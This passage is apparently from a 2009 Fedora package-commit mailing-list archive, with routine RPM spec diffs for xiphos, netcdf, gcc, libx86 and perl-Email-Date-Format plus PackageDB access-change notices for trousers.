- Update to 0.03
- Upstream changed name to kMagnet
- Added a patch to fix .desktop file

* Sat Oct 10 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-3
- Removed redundant call to desktop-file-install
- Changed one %%files entry to use %%{_kde4_appsdir}

* Fri Oct 9 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-2
- Fixed Requires and BuildRequires
- Removed VERBOSE=1 from Makefile
- Sane use of macros in files section
- Added documentation
- Added icon code snippets
- Added desktop-file-validate

* Wed Oct 7 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-1
- initial package



From deji at fedoraproject.org  Tue Oct 27 17:50:37 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Tue, 27 Oct 2009 17:50:37 +0000 (UTC)
Subject: rpms/xiphos/EL-5 xiphos.spec,1.5,1.6
Message-ID: <20091027175037.EE62511C02BB@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/xiphos/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15433

Modified Files:
	xiphos.spec 
Log Message:
Add libtool to BRs



Index: xiphos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xiphos/EL-5/xiphos.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- xiphos.spec	27 Oct 2009 16:58:55 -0000	1.5
+++ xiphos.spec	27 Oct 2009 17:50:37 -0000	1.6
@@ -26,7 +26,7 @@ Requires(postun):	scrollkeeper
 Obsoletes:	gnomesword < 2.4.2
 Provides:	gnomesword = %{version}-%{release}
 # Temporarily requires automake and friend for the configure patch
-BuildRequires:	automake autoconf
+BuildRequires:	automake autoconf libtool
 
 %description
 Xiphos (formerly known as GnomeSword) is a Bible study tool written for Linux,



From orion at fedoraproject.org  Tue Oct 27 18:02:02 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Tue, 27 Oct 2009 18:02:02 +0000 (UTC)
Subject: rpms/netcdf/F-11 netcdf.spec,1.35,1.36
Message-ID: <20091027180202.3A87411C00E6@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/netcdf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18384

Modified Files:
	netcdf.spec 
Log Message:
* Tue Oct 27 2009 Orion Poplawski <orion at cora.nwra.com> - 4.0.1-2
- Don't ship multi-lib incompatible nc-config
- Require gcc-gfortran for -devel (bug #483469)



Index: netcdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcdf/F-11/netcdf.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- netcdf.spec	28 Sep 2009 17:00:55 -0000	1.35
+++ netcdf.spec	27 Oct 2009 18:02:01 -0000	1.36
@@ -18,6 +18,9 @@ BuildRequires:  valgrind
 Summary:        Development files for netcdf
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
+Requires:       gcc-gfortran%{_isa}                                                     
+Requires:       pkgconfig                                                               
+
 
 %package static
 Summary:        Static libs for netcdf
@@ -70,13 +73,9 @@ This package contains the netCDF static 
 
 
 %build
-export FFLAGS="-fPIC ${RPM_OPT_FLAGS}"
-export FCFLAGS="$FFLAGS"
-%configure CPPFLAGS=-I%{_includedir}/hdf \
-           LDFLAGS=-L%{_libdir}/hdf \
-           --enable-shared \
+%configure --enable-shared \
            --enable-extra-example-tests \
-           --enable-valgrind-tests \
+           --enable-valgrind-tests
 # parallel build is broken, .mod file hasn't right deps %%{?_smp_mflags}
 make %{?_smp_mflags}
 
@@ -92,6 +91,9 @@ mkdir -p ${RPM_BUILD_ROOT}%{_fmoddir}
 /bin/rm -f ${RPM_BUILD_ROOT}%{_libdir}/*.la
 /bin/rm -f ${RPM_BUILD_ROOT}%{_infodir}/dir
 
+#New with 4.0.1, and not multi-lib compatible
+/bin/rm -f ${RPM_BUILD_ROOT}%{_bindir}/nc-config
+
 
 %check
 make check
@@ -117,7 +119,8 @@ fi
 %files
 %defattr(-,root,root,-)
 %doc COPYRIGHT README
-%{_bindir}/*
+%{_bindir}/ncdump
+%{_bindir}/ncgen
 %{_libdir}/*.so.*
 %{_mandir}/man1/*
 %{_infodir}/*
@@ -136,6 +139,10 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Orion Poplawski <orion at cora.nwra.com> - 4.0.1-2
+- Don't ship multi-lib incompatible nc-config
+- Require gcc-gfortran for -devel (bug #483469)
+
 * Mon Sep 28 2009 Orion Poplawski <orion at cora.nwra.com> - 4.0.1-1
 - Update to 4.0.1
 - Fix up URL and Source urls



From jakub at fedoraproject.org  Tue Oct 27 18:02:14 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Tue, 27 Oct 2009 18:02:14 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-pr41762.patch, NONE, 1.1 .cvsignore, 1.306,
	1.307 gcc.spec, 1.85, 1.86 sources, 1.310, 1.311
Message-ID: <20091027180214.B0A2F11C00E6@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18474

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-pr41762.patch 
Log Message:
4.4.2-7

gcc44-pr41762.patch:
 config/i386/i386.c         |    2 +-
 testsuite/gcc.dg/pr41762.c |   31 +++++++++++++++++++++++++++++++
 2 files changed, 32 insertions(+), 1 deletion(-)

--- NEW FILE gcc44-pr41762.patch ---
2009-10-23  Jakub Jelinek  <jakub at redhat.com>

	PR target/41762
	* config/i386/i386.c (ix86_pic_register_p): Don't call
	rtx_equal_for_cselib_p for VALUEs discarded as useless.

	* gcc.dg/pr41762.c: New test.

--- gcc/config/i386/i386.c.jj	2009-09-29 17:58:03.000000000 +0200
+++ gcc/config/i386/i386.c	2009-10-23 19:08:19.000000000 +0200
@@ -10379,7 +10379,7 @@ i386_output_dwarf_dtprel (FILE *file, in
 static bool
 ix86_pic_register_p (rtx x)
 {
-  if (GET_CODE (x) == VALUE)
+  if (GET_CODE (x) == VALUE && CSELIB_VAL_PTR (x))
     return (pic_offset_table_rtx
 	    && rtx_equal_for_cselib_p (x, pic_offset_table_rtx));
   else
--- gcc/testsuite/gcc.dg/pr41762.c.jj	2009-10-23 19:15:42.000000000 +0200
+++ gcc/testsuite/gcc.dg/pr41762.c	2009-10-23 19:14:35.000000000 +0200
@@ -0,0 +1,31 @@
+/* PR target/41762 */
+/* { dg-do compile } */
+/* { dg-options "-O2 -ftracer -fsched2-use-superblocks" } */
+/* { dg-options "-O2 -ftracer -fsched2-use-superblocks -fpic" { target fpic } } */
+
+extern __SIZE_TYPE__ strlen (const char *);
+extern int f1 (void *);
+extern char *f2 (void);
+extern void f3 (int, int);
+static char *a;
+char *b, *c, *d, *e;
+
+void
+foo (void)
+{
+  int f, g, h;
+  f = (a ? strlen (a) : strlen ("abcde"));
+  f += (b ? strlen (b) : 0);
+  f += (c ? strlen (c) : 0);
+  f += (d ? strlen (d) : 0);
+  f += (e ? strlen (e) : 0);
+  h = f1 (strlen);
+  g = strlen (a);
+  f3 (g, f);
+}
+
+void
+bar (void)
+{
+  a = f2 ();
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.306
retrieving revision 1.307
diff -u -p -r1.306 -r1.307
--- .cvsignore	22 Oct 2009 13:18:28 -0000	1.306
+++ .cvsignore	27 Oct 2009 18:02:14 -0000	1.307
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.2-20091022.tar.bz2
+gcc-4.4.2-20091027.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- gcc.spec	22 Oct 2009 13:18:28 -0000	1.85
+++ gcc.spec	27 Oct 2009 18:02:14 -0000	1.86
@@ -1,9 +1,9 @@
-%global DATE 20091022
-%global SVNREV 153454
+%global DATE 20091027
+%global SVNREV 153608
 %global gcc_version 4.4.2
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 6
+%global gcc_release 7
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -161,6 +161,7 @@ Patch16: gcc44-unwind-debug-hook.patch
 Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
+Patch20: gcc44-pr41762.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -466,6 +467,7 @@ which are required to compile with the G
 %patch18 -p0 -b .libstdc++-docs~
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
+%patch20 -p0 -b .pr41762~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1847,6 +1849,16 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Tue Oct 27 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-7
+- update from gcc-4_4-branch
+  - PRs c++/40808, c/41842, cp-tools/39177
+- VTA backports
+  - PR bootstrap/41345
+- don't emit DW_AT_name: <anonymous struct> etc. into debug info
+  (#530304, PR debug/41828)
+- power7 ABI fixes (PR target/41787)
+- fix ICE in ix86_pic_register_p (PR target/41762)
+
 * Thu Oct 22 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-6
 - update from gcc-4_4-branch
   - PR target/41702


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.310
retrieving revision 1.311
diff -u -p -r1.310 -r1.311
--- sources	22 Oct 2009 13:18:28 -0000	1.310
+++ sources	27 Oct 2009 18:02:14 -0000	1.311
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-cb2cf846749da51f2041c375108f472f  gcc-4.4.2-20091022.tar.bz2
+7b733f864bf498c34cd46f7bc9ff6134  gcc-4.4.2-20091027.tar.bz2



From orion at fedoraproject.org  Tue Oct 27 18:02:50 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Tue, 27 Oct 2009 18:02:50 +0000 (UTC)
Subject: rpms/netcdf/F-11 netcdf.spec,1.36,1.37
Message-ID: <20091027180250.65B8C11C00E6@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/netcdf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18608

Modified Files:
	netcdf.spec 
Log Message:
bump release


Index: netcdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcdf/F-11/netcdf.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- netcdf.spec	27 Oct 2009 18:02:01 -0000	1.36
+++ netcdf.spec	27 Oct 2009 18:02:50 -0000	1.37
@@ -1,6 +1,6 @@
 Name:           netcdf
 Version:        4.0.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Libraries for the Unidata network Common Data Form
 
 Group:          Applications/Engineering



From ajax at fedoraproject.org  Tue Oct 27 18:04:41 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 27 Oct 2009 18:04:41 +0000 (UTC)
Subject: rpms/libx86/devel libx86-mmap-offset.patch, NONE, 1.1 libx86.spec,
	1.8, 1.9
Message-ID: <20091027180441.AE73011C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libx86/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19059

Modified Files:
	libx86.spec 
Added Files:
	libx86-mmap-offset.patch 
Log Message:
* Tue Oct 27 2009 Adam Jackson <ajax at redhat.com> 1.1-8
- libx86-mmap-offset.patch: Attempt to make selinux happy by not mmap'ing
  the zero page.


libx86-mmap-offset.patch:
 lrmi.c       |    2 +-
 thunk.c      |   12 ++++++------
 x86-common.c |   47 +++++++++++++++++++++++++++--------------------
 x86-common.h |    2 +-
 4 files changed, 35 insertions(+), 28 deletions(-)

--- NEW FILE libx86-mmap-offset.patch ---
diff -ur libx86-1.1/lrmi.c libx86-1.1.hack/lrmi.c
--- libx86-1.1/lrmi.c	2006-10-30 15:10:16.000000000 -0500
+++ libx86-1.1.hack/lrmi.c	2009-10-26 15:55:42.000000000 -0400
@@ -136,7 +136,7 @@
 	if (context.ready)
 		return 1;
 
-	if (!LRMI_common_init())
+	if (!LRMI_common_init(0))
 		return 0;
 
 	/*
diff -ur libx86-1.1/thunk.c libx86-1.1.hack/thunk.c
--- libx86-1.1/thunk.c	2008-04-02 20:48:00.000000000 -0400
+++ libx86-1.1.hack/thunk.c	2009-10-26 16:05:39.000000000 -0400
@@ -139,11 +139,11 @@
 	int i;
 	X86EMU_intrFuncs intFuncs[256];
 
-	if (!LRMI_common_init())
+	mmap_addr = LRMI_common_init(1);
+
+	if (!mmap_addr)
 		return 0;
 
-	mmap_addr = 0;
-	
 	X86EMU_pioFuncs pioFuncs = {
 		(&x_inb),
 		(&x_inw),
@@ -169,10 +169,10 @@
 	X86_ESP = 0xFFF9;
 	memset (stack, 0, 64*1024);
 
-	*((char *)0) = 0x4f; /* Make sure that we end up jumping back to a
-				halt instruction */
+	*mmap_addr = 0x4f; /* Make sure that we end up jumping back to a
+			      halt instruction */
 
-	M.mem_base = 0;
+	M.mem_base = (unsigned long)mmap_addr;
 	M.mem_size = 1024*1024;
 
 	return 1;
diff -ur libx86-1.1/x86-common.c libx86-1.1.hack/x86-common.c
--- libx86-1.1/x86-common.c	2008-05-16 12:56:23.000000000 -0400
+++ libx86-1.1.hack/x86-common.c	2009-10-26 16:03:21.000000000 -0400
@@ -45,14 +45,15 @@
 static struct {
 	int ready;
 	int count;
+	void *offset;
 	struct mem_block blocks[REAL_MEM_BLOCKS];
 } mem_info = { 0 };
 
 static int
-real_mem_init(void)
+real_mem_init(int high_page)
 {
 	void *m;
-	int fd_zero;
+	int fd_zero, flags = MAP_SHARED;
 
 	if (mem_info.ready)
 		return 1;
@@ -63,9 +64,12 @@
 		return 0;
 	}
 
+	if (!high_page)
+		flags |= MAP_FIXED;
+
 	m = mmap((void *)REAL_MEM_BASE, REAL_MEM_SIZE,
-	 PROT_READ | PROT_WRITE | PROT_EXEC,
-	 MAP_FIXED | MAP_SHARED, fd_zero, 0);
+		 PROT_READ | PROT_WRITE | PROT_EXEC,
+		 flags, fd_zero, 0);
 
 	if (m == (void *)-1) {
 		perror("mmap /dev/zero");
@@ -76,6 +80,7 @@
 	close(fd_zero);
 
 	mem_info.ready = 1;
+	mem_info.offset = m;
 	mem_info.count = 1;
 	mem_info.blocks[0].size = REAL_MEM_SIZE;
 	mem_info.blocks[0].free = 1;
@@ -87,7 +92,7 @@
 real_mem_deinit(void)
 {
 	if (mem_info.ready) {
-		munmap((void *)REAL_MEM_BASE, REAL_MEM_SIZE);
+		munmap(mem_info.offset, REAL_MEM_SIZE);
 		mem_info.ready = 0;
 	}
 }
@@ -119,7 +124,7 @@
 LRMI_alloc_real(int size)
 {
 	int i;
-	char *r = (char *)REAL_MEM_BASE;
+	char *r = (char *)mem_info.offset;
 
 	if (!mem_info.ready)
 		return NULL;
@@ -151,7 +156,7 @@
 LRMI_free_real(void *m)
 {
 	int i;
-	char *r = (char *)REAL_MEM_BASE;
+	char *r = (char *)mem_info.offset;
 
 	if (!mem_info.ready)
 		return;
@@ -200,13 +205,15 @@
 	return *(unsigned short *)(i * 4);
 }
 
-int LRMI_common_init(void)
+void *LRMI_common_init(int high_page)
 {
-	void *m;
+	void *m, *offset;
 	int fd_mem;
 
-	if (!real_mem_init())
-		return 0;
+	if (!real_mem_init(high_page))
+		return NULL;
+
+	offset = mem_info.offset - REAL_MEM_BASE;
 
 	/*
 	 Map the Interrupt Vectors (0x0 - 0x400) + BIOS data (0x400 - 0x502)
@@ -217,33 +224,33 @@
 	if (fd_mem == -1) {
 		real_mem_deinit();
 		perror("open /dev/mem");
-		return 0;
+		return NULL;
 	}
 
-	m = mmap((void *)0, 0x502,
-	 PROT_READ | PROT_WRITE | PROT_EXEC,
-	 MAP_FIXED | MAP_SHARED, fd_mem, 0);
+	m = mmap(offset, 0x502,
+		 PROT_READ | PROT_WRITE | PROT_EXEC,
+		 MAP_FIXED | MAP_SHARED, fd_mem, 0);
 
 	if (m == (void *)-1) {
 		close(fd_mem);
 		real_mem_deinit();
 		perror("mmap /dev/mem");
-		return 0;
+		return NULL;
 	}
 
-	m = mmap((void *)0xa0000, 0x100000 - 0xa0000,
+	m = mmap(offset+0xa0000, 0x100000 - 0xa0000,
 	 PROT_READ | PROT_WRITE | PROT_EXEC,
 	 MAP_FIXED | MAP_SHARED, fd_mem, 0xa0000);
 
 	if (m == (void *)-1) {
-		munmap((void *)0, 0x502);
+		munmap(offset, 0x502);
 		close(fd_mem);
 		real_mem_deinit();
 		perror("mmap /dev/mem");
-		return 0;
+		return NULL;
 	}
 
 	close(fd_mem);
 
-	return 1;
+	return offset;
 }
diff -ur libx86-1.1/x86-common.h libx86-1.1.hack/x86-common.h
--- libx86-1.1/x86-common.h	2006-09-07 18:44:27.000000000 -0400
+++ libx86-1.1.hack/x86-common.h	2009-10-26 16:01:19.000000000 -0400
@@ -40,4 +40,4 @@
 
 void *LRMI_alloc_real(int size);
 void LRMI_free_real(void *m);
-int LRMI_common_init(void);
+void *LRMI_common_init(int high_page);


Index: libx86.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libx86/devel/libx86.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- libx86.spec	3 Sep 2009 10:02:03 -0000	1.8
+++ libx86.spec	27 Oct 2009 18:04:41 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           libx86
 Version:        1.1
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Library for making real-mode x86 calls
 
 Group:          System Environment/Libraries
@@ -13,6 +13,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 ExcludeArch:    ppc ppc64 s390 s390x
 
 Patch0: libx86-add-pkgconfig.patch
+Patch1: libx86-mmap-offset.patch
 
 %description
 A library to provide support for making real-mode x86 calls with an emulated
@@ -30,6 +31,7 @@ development of programs that will use li
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 
 
 %build
@@ -60,6 +62,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/x86.pc
 
 %changelog
+* Tue Oct 27 2009 Adam Jackson <ajax at redhat.com> 1.1-8
+- libx86-mmap-offset.patch: Attempt to make selinux happy by not mmap'ing
+  the zero page.
+
 * Thu Sep 03 2009 Karsten Hopp <karsten at redhat.com> 1.1-7
 - excludearch s390, s390x where we don't have sys/io.h
 



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:07 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180708.092DF10F87E@bastion2.fedora.phx.redhat.com>

mjakubicek has set the watchbugzilla acl on trousers (Fedora devel) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:09 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180709.2890F10F88B@bastion2.fedora.phx.redhat.com>

mjakubicek has set the watchcommits acl on trousers (Fedora devel) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:10 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180710.B2B2610F89C@bastion2.fedora.phx.redhat.com>

mjakubicek has set the commit acl on trousers (Fedora devel) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:16 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180716.4B84B10F87E@bastion2.fedora.phx.redhat.com>

mjakubicek has set the watchcommits acl on trousers (Fedora EPEL 5) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:17 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180717.5455F10F88B@bastion2.fedora.phx.redhat.com>

mjakubicek has set the commit acl on trousers (Fedora EPEL 5) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:17 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180717.DCE3210F8A3@bastion2.fedora.phx.redhat.com>

mjakubicek has set the watchbugzilla acl on trousers (Fedora EPEL 5) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:22 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180722.671DB10F87E@bastion2.fedora.phx.redhat.com>

mjakubicek has set the watchbugzilla acl on trousers (Fedora 11) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:22 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180722.B605410F8AD@bastion2.fedora.phx.redhat.com>

mjakubicek has set the watchcommits acl on trousers (Fedora 11) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:25 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180725.12F8A10F88B@bastion2.fedora.phx.redhat.com>

mjakubicek has set the commit acl on trousers (Fedora 11) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:27 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180727.D6C9810F8A6@bastion2.fedora.phx.redhat.com>

mjakubicek has set the watchbugzilla acl on trousers (Fedora 12) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:27 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180727.ECA6A10F8B2@bastion2.fedora.phx.redhat.com>

mjakubicek has set the watchcommits acl on trousers (Fedora 12) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 18:07:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 18:07:28 +0000
Subject: [pkgdb] trousers had acl change status
Message-ID: <20091027180728.A9B8810F8B5@bastion2.fedora.phx.redhat.com>

mjakubicek has set the commit acl on trousers (Fedora 12) to Approved for michich

To make changes to this package see:
  /pkgdb/packages/name/trousers



From spot at fedoraproject.org  Tue Oct 27 18:10:46 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 18:10:46 +0000 (UTC)
Subject: rpms/perl-Email-Date-Format/EL-4 perl-Email-Date-Format.spec, NONE, 
	1.1 sources, 1.1, 1.2
Message-ID: <20091027181046.7C35011C02C6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/perl-Email-Date-Format/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20336/EL-4

Modified Files:
	sources 
Added Files:
	perl-Email-Date-Format.spec 
Log Message:
epel


--- NEW FILE perl-Email-Date-Format.spec ---
Name:           perl-Email-Date-Format
Version:        1.002
Release:        4%{?dist}
Summary:        Produce RFC 2822 date strings
Group:          Development/Libraries
License:        GPL+ or Artistic
URL:            http://search.cpan.org/dist/Email-Date-Format/
Source0:        http://search.cpan.org/CPAN/authors/id/R/RJ/RJBS/Email-Date-Format-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires:  perl(ExtUtils::MakeMaker), perl(Test::More), perl(Time::Local)
BuildRequires:  perl(Test::Pod), perl(Test::Pod::Coverage)
BuildArch:      noarch
Requires:  perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This module can be used to emit RFC 2822 style date strings.

%prep
%setup -q -n Email-Date-Format-%{version}

%build
sed -i '/LICENSE/ d' Makefile.PL
%{__perl} Makefile.PL INSTALLDIRS=vendor
make

%install
rm -rf $RPM_BUILD_ROOT
make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null ';'
chmod -R u+w $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README LICENSE
%{perl_vendorlib}/Email/
%{_mandir}/man3/*.3*

%changelog
* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.002-4
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.002-3
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Sat Feb  2 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 1.002-2
- rebuild for new perl

* Wed Dec 19 2007 Tom "spot" Callaway <tcallawa at redhat.com> - 1.002-1
- Initial package for Fedora


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Email-Date-Format/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	20 Dec 2007 19:33:58 -0000	1.1
+++ sources	27 Oct 2009 18:10:46 -0000	1.2
@@ -0,0 +1 @@
+7ae25275da6ab272aa8b40141eac9f82  Email-Date-Format-1.002.tar.gz



From spot at fedoraproject.org  Tue Oct 27 18:10:46 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 18:10:46 +0000 (UTC)
Subject: rpms/perl-Email-Date-Format/EL-5 perl-Email-Date-Format.spec, NONE, 
	1.1 sources, 1.1, 1.2
Message-ID: <20091027181046.AD5C011C02C6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/perl-Email-Date-Format/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20336/EL-5

Modified Files:
	sources 
Added Files:
	perl-Email-Date-Format.spec 
Log Message:
epel


--- NEW FILE perl-Email-Date-Format.spec ---
Name:           perl-Email-Date-Format
Version:        1.002
Release:        4%{?dist}
Summary:        Produce RFC 2822 date strings
Group:          Development/Libraries
License:        GPL+ or Artistic
URL:            http://search.cpan.org/dist/Email-Date-Format/
Source0:        http://search.cpan.org/CPAN/authors/id/R/RJ/RJBS/Email-Date-Format-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires:  perl(ExtUtils::MakeMaker), perl(Test::More), perl(Time::Local)
BuildRequires:  perl(Test::Pod), perl(Test::Pod::Coverage)
BuildArch:      noarch
Requires:  perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This module can be used to emit RFC 2822 style date strings.

%prep
%setup -q -n Email-Date-Format-%{version}

%build
sed -i '/LICENSE/ d' Makefile.PL
%{__perl} Makefile.PL INSTALLDIRS=vendor
make

%install
rm -rf $RPM_BUILD_ROOT
make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null ';'
chmod -R u+w $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README LICENSE
%{perl_vendorlib}/Email/
%{_mandir}/man3/*.3*

%changelog
* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.002-4
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.002-3
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Sat Feb  2 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 1.002-2
- rebuild for new perl

* Wed Dec 19 2007 Tom "spot" Callaway <tcallawa at redhat.com> - 1.002-1
- Initial package for Fedora


Index: sources
===================================================================
